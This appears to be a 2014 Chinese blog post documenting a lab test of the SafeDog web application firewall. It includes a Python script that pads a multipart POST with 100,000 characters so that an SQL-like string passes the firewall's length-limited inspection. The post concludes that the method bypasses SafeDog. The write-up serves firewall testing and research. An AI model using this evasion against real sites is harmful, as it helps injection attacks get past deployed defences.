时间:2014-12-21 作者:admin 分类: 技术交流
最近在做特征的时候发现IPS的检测中往往会有一个最大检测长度,譬如IPS最大检测长度可能于数据包的个数或则数据流的长度有关。于是乎就想着做了个测试,测试安全狗的检测是否也会有长度的限制,于是乎就有了此篇帖子。
测试步骤:
1:使用wamp搭建一个web环境,并且安装最新版本的安全狗,3.1.0.9833.
2:下面就开始测试了,我使用python书写一个post提交,post提交的内容包括select 1 from table;
3:编写code:
import urllib2
url = "http://192.168.4.70/3.php"
header = {
'User-Agent' : 'letmetest',
'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundarycMYRelX1B2H69xy9'
}
def getdata(m):
return "1"*m
def postdata(n):
data = '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
data += 'Content-Disposition: form-data; name="file"\r\n\r\n'
data += '%s\r\n' % "0"*n
data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
data += 'Content-Disposition: form-data; name="submit"\r\n\r\n'
data += 'select 1 from table\r\n'
data += '------WebKitFormBoundarycMYRelX1B2H69xy9--\r\n\r\n'
return data
request = urllib2.Request(url,postdata(100000),header)
response = urllib2.urlopen(request).read()
print response
4:测试结果
注意postdata中的内容,我自己去改变它的长度,譬如我输入长度为100000的时候,返回的结果如下图:
可以看到显示的内容为web服务器的内容。
当我将postdata的内容改为长度1000的时候,结果如下:
这样可以看到内容被安全狗阻拦了。
5:结论
看来安全狗貌似防范的内容受到长度的控制,用这种post的方法可以bypass。